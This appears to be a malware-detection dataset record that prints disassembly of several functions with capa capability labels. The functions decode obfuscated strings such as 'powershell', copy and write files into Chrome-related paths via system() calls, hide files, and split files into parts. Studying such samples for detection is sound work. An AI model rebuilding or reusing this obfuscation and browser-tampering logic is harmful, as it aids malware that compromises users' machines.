joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40565b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0x99], 0x764e554c
mov dword [ebp - 0x95], 0x68315762
mov dword [ebp - 0x91], 0x67516d62
mov dword [ebp - 0x8d], 0x796c475a
mov byte [ebp - 0x89], 0
lea eax, [ebp - 0xa0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x99]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xb1], 0x6a394754
mov dword [ebp - 0xad], 0x67775759
mov dword [ebp - 0xa9], 0x68523355
mov dword [ebp - 0xa5], 0x3d554764
mov byte [ebp - 0xa1], 0
lea eax, [ebp - 0xb8]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb1]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sym._sprintf_5
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x405744
mov eax, 1
jmp 0x40582e
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sym._gtchrmk_
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x405765
mov eax, 1
jmp 0x40582e
mov dword [ebp - 0x12d], 0x76783258
mov dword [ebp - 0x129], 0x73463259
mov dword [ebp - 0x125], 0x304e3358
mov dword [ebp - 0x121], 0x6c525859
mov byte [ebp - 0x11d], 0
lea eax, [ebp - 0x134]
mov dword [esp + 4], eax
lea eax, [ebp - 0x12d]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.chrome
mov dword [esp + 8], 0x44cac0
mov dword [esp + 4], str._s_s_s_s
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf_5
mov dword [esp + 4], 0x42ac04
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fputs
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fclose
cmp dword [ebp - 0x24], 0
je 0x405829
mov eax, 1
jmp 0x40582e
mov eax, 0
leave
ret
Function at 0x405830
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0x95], 0x764e554c
mov dword [ebp - 0x91], 0x68315762
mov dword [ebp - 0x8d], 0x67516d62
mov dword [ebp - 0x89], 0x796c475a
mov byte [ebp - 0x85], 0
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x95]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xad], 0x6e394754
mov dword [ebp - 0xa9], 0x67345761
mov dword [ebp - 0xa5], 0x30464752
mov dword [ebp - 0xa1], 0x3d3d5159
mov byte [ebp - 0x9d], 0
lea eax, [ebp - 0xb4]
mov dword [esp + 4], eax
lea eax, [ebp - 0xad]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x84]
mov dword [esp], eax
call sym._sprintf_5
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x84]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x405920
mov eax, 1
jmp 0x4059f5
mov dword [ebp - 0x12d], 0x76783258
mov dword [ebp - 0x129], 0x756c325a
mov dword [ebp - 0x125], 0x68523258
mov dword [ebp - 0x121], 0x66464764
mov dword [ebp - 0x11d], 0x3d49475a
mov byte [ebp - 0x119], 0
lea eax, [ebp - 0x134]
mov dword [esp + 4], eax
lea eax, [ebp - 0x12d]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov dword [esp], str.cG93ZXJzaGVsbA
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x10], 0x44cac0
lea eax, [ebp - 0x84]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s___cp__s__s_s_s_s_
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4059f0
mov eax, 1
jmp 0x4059f5
mov eax, 0
leave
ret
Function at 0x4059f7
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0x95], 0x764e554c
mov dword [ebp - 0x91], 0x68315762
mov dword [ebp - 0x8d], 0x67516d62
mov dword [ebp - 0x89], 0x796c475a
mov byte [ebp - 0x85], 0
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x95]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xa9], 0x7a6c4753
mov dword [ebp - 0xa5], 0x79394764
mov dword [ebp - 0xa1], 0x3d3d5165
mov byte [ebp - 0x9d], 0
lea eax, [ebp - 0xb0]
mov dword [esp + 4], eax
lea eax, [ebp - 0xa9]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x84]
mov dword [esp], eax
call sym._sprintf_5
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x84]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x405add
mov eax, 1
jmp 0x405bb2
mov dword [ebp - 0x129], 0x6c643358
mov dword [ebp - 0x125], 0x70686d59
mov dword [ebp - 0x121], 0x76523363
mov dword [ebp - 0x11d], 0x666c6e63
mov dword [ebp - 0x119], 0x3d49475a
mov byte [ebp - 0x115], 0
lea eax, [ebp - 0xb0]
mov dword [esp + 4], eax
lea eax, [ebp - 0xa9]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x130]
mov dword [esp + 4], eax
mov dword [esp], str.cG93ZXJzaGVsbA
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x10], 0x44cac0
lea eax, [ebp - 0x84]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x405bad
mov eax, 1
jmp 0x405bb2
mov eax, 0
leave
ret
Function at 0x405bb4
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov dword [ebp - 0xf9], 0x764e554c
mov dword [ebp - 0xf5], 0x68315762
mov dword [ebp - 0xf1], 0x67516d62
mov dword [ebp - 0xed], 0x796c475a
mov byte [ebp - 0xe9], 0
lea eax, [ebp - 0x100]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf9]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10d], 0x7a6c4753
mov dword [ebp - 0x109], 0x79394764
mov dword [ebp - 0x105], 0x3d3d5165
mov byte [ebp - 0x101], 0
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10d]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0xe8]
mov dword [esp], eax
call sym._sprintf_5
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0xe8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x405c9a
mov eax, 1
jmp 0x405d6f
mov dword [ebp - 0x1f1], 0x76523258
mov dword [ebp - 0x1ed], 0x73353264
mov dword [ebp - 0x1e9], 0x6b463262
mov dword [ebp - 0x1e5], 0x6b393163
mov dword [ebp - 0x1e1], 0x3d3d6759
mov byte [ebp - 0x1dd], 0
lea eax, [ebp - 0x1f8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1f1]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1fc]
mov dword [esp + 4], eax
mov dword [esp], str.cG93ZXJzaGVsbA
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x10], 0x44cac0
lea eax, [ebp - 0xe8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
lea eax, [ebp - 0x1dc]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1dc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x405d6a
mov eax, 1
jmp 0x405d6f
mov eax, 0
leave
ret
Function at 0x405d71
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov dword [ebp - 0xf9], 0x764e554c
mov dword [ebp - 0xf5], 0x68315762
mov dword [ebp - 0xf1], 0x67516d62
mov dword [ebp - 0xed], 0x796c475a
mov byte [ebp - 0xe9], 0
lea eax, [ebp - 0x100]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf9]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x115], 0x30566d54
mov dword [ebp - 0x111], 0x79393264
mov dword [ebp - 0x10d], 0x44783161
mov dword [ebp - 0x109], 0x72393262
mov dword [ebp - 0x105], 0x7a565761
mov byte [ebp - 0x101], 0
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x115]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0xe8]
mov dword [esp], eax
call sym._sprintf_5
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0xe8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x405e6b
mov eax, 1
jmp 0x405f36
mov dword [ebp - 0x191], 0x764e3258
mov dword [ebp - 0x18d], 0x70743262
mov dword [ebp - 0x189], 0x664e585a
mov dword [ebp - 0x185], 0x3d49475a
mov byte [ebp - 0x181], 0
lea eax, [ebp - 0x198]
mov dword [esp + 4], eax
lea eax, [ebp - 0x191]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], str.cG93ZXJzaGVsbA
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x10], 0x44cac0
lea eax, [ebp - 0xe8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
lea eax, [ebp - 0x180]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x180]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x405f31
mov eax, 1
jmp 0x405f36
mov eax, 0
leave
ret
Function at 0x405f38
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0x95], 0x764e554c
mov dword [ebp - 0x91], 0x68315762
mov dword [ebp - 0x8d], 0x67516d62
mov dword [ebp - 0x89], 0x796c475a
mov byte [ebp - 0x85], 0
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x95]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xa9], 0x69563256
mov dword [ebp - 0xa5], 0x68524549
mov dword [ebp - 0xa1], 0x3d454764
mov byte [ebp - 0x9d], 0
lea eax, [ebp - 0xb0]
mov dword [esp + 4], eax
lea eax, [ebp - 0xa9]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x84]
mov dword [esp], eax
call sym._sprintf_5
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x84]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40601e
mov eax, 1
jmp 0x4060e9
mov dword [ebp - 0x125], 0x6c643358
mov dword [ebp - 0x121], 0x6b396c59
mov dword [ebp - 0x11d], 0x68525859
mov dword [ebp - 0x119], 0x69523258
mov byte [ebp - 0x115], 0
lea eax, [ebp - 0x12c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x125]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x130]
mov dword [esp + 4], eax
mov dword [esp], str.cG93ZXJzaGVsbA
call sym._base64_decode
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.chrome
mov dword [esp + 0x10], 0x44cac0
lea eax, [ebp - 0x84]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__cp__s__s_s_s_s_
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4060e4
mov eax, 1
jmp 0x4060e9
mov eax, 0
leave
ret

Function at 0x4077dd
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Pinging:__s_n
call sym._printf_7
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.ping__n_1__s
lea eax, [ebp - 0x70]
mov dword [esp], eax
call sym._sprintf_8
lea eax, [ebp - 0x70]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
mov dword [esp], 5
call dbg.sleep
cmp dword [ebp - 0xc], 0
jne 0x40783a
mov eax, 0
jmp 0x40783f
mov eax, 1
leave
ret
Function at 0x408aa1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0x4432c1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, 0
leave
ret

Function at 0x408b0d
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp + 8], 1
jne 0x408b70
mov dword [ebp - 0x18], 0x71
mov dword [esp], 0x34f8
call sym._malloc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x408b66
mov eax, dword [ebp - 0x10]
mov eax, dword [eax*4 + 0x426000]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strcat
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jl 0x408b49
jmp 0x408bd1
cmp dword [ebp + 8], 2
jne 0x408bbc
mov dword [ebp - 0x18], 0x778
mov dword [esp], 0x38040
call sym._malloc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], 0
jmp 0x408bb2
mov eax, dword [ebp - 0x14]
mov eax, dword [eax*4 + 0x4261e0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strcat
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
jl 0x408b95
jmp 0x408bd1
cmp dword [ebp + 8], 3
je 0x408bd1
mov dword [ebp - 0x1c], str.Pass_an_int_between_1_and_3
mov eax, dword [ebp - 0x1c]
jmp 0x408c77
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._creator_func
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x408bfc
mov dword [esp], str.Create_batch_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x24], str.cG93ZXJzaGVsbCBTZXQtSXRlbVByb3BlcnR5IC1QYXRo
lea eax, [ebp - 0x224]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__Name_Attributes__Value___System.IO.FileAttributes_::Hidden_
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._sprintf_10
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x408c74
mov dword [esp], str.Set_attribute_of_file_to_hidden
call sym._puts
mov eax, dword [ebp + 0xc]
leave
ret
Function at 0x408ce5
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
mov dword [esp + 4], 0x443388
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x408d22
mov dword [esp], str.Error_opening_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._rewind
mov eax, dword [ebp - 0x18]
cdq
idiv dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 0
jmp 0x408e90
mov dword [esp], str.Start_for_loop
call sym._puts
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.part_d
lea eax, [ebp - 0x154]
mov dword [esp], eax
call sym._sprintf_11
mov dword [esp + 4], 0x4433b7
lea eax, [ebp - 0x154]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x408dd6
mov dword [esp], str.Error_creating_output_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp + 0xc]
sub eax, 1
cmp dword [ebp - 0xc], eax
jne 0x408df1
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0xc]
mov edx, eax
mov eax, dword [ebp - 0x18]
sub eax, edx
jmp 0x408df4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
jmp 0x408e49
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x554]
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
je 0x408e40
mov dword [esp], str.Error_writing_to_output_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x408e81
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x554]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x408df9
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fclose
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jl 0x408d6c
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
nop
leave
ret
Function at 0x408eaa
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
mov dword [esp + 4], 0x4433b7
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x408ee7
mov dword [esp], str.Error_creating_output_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov dword [ebp - 0xc], 0
jmp 0x408feb
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.part_d
lea eax, [ebp - 0x480]
mov dword [esp], eax
call sym._sprintf_11
lea eax, [ebp - 0x480]
mov dword [esp + 4], eax
mov dword [esp], str.Processing:_s_n
call sym._printf_10
mov dword [esp + 4], 0x443388
lea eax, [ebp - 0x480]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x408fae
mov dword [esp], str.Error_opening_input_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x41c]
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
je 0x408fae
mov dword [esp], str.Error_writing_to_output_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x41c]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x408f67
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jl 0x408ef3
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
nop
leave
ret
Function at 0x409e1c
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
add eax, 2
mov edx, 0xaaaaaaab
mul edx
mov eax, edx
shr eax, 1
shl eax, 2
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x409e5a
mov eax, 0
jmp 0x409fd9
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x409f7c
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jae 0x409e8b
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
jmp 0x409e90
mov eax, 0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jae 0x409eb1
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
jmp 0x409eb6
mov eax, 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jae 0x409ed7
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
jmp 0x409edc
mov eax, 0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
shl eax, 0x10
mov edx, eax
mov eax, dword [ebp - 0x20]
shl eax, 8
add edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
shr eax, 0x12
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x4436c0]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
shr eax, 0xc
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x4436c0]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
shr eax, 6
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x4436c0]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x4436c0]
mov byte [edx], al
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x409e6d
mov ecx, dword [ebp + 0xc]
mov edx, 0xaaaaaaab
mov eax, ecx
mul edx
mov eax, edx
shr eax, 1
mov edx, eax
add edx, edx
add edx, eax
mov eax, ecx
sub eax, edx
cmp eax, 1
je 0x409fae
cmp eax, 2
je 0x409fbc
jmp 0x409fcb
mov eax, dword [ebp - 0x14]
lea edx, [eax - 1]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0x3d
mov eax, dword [ebp - 0x14]
lea edx, [eax - 2]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0x3d
nop
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x18]
leave
ret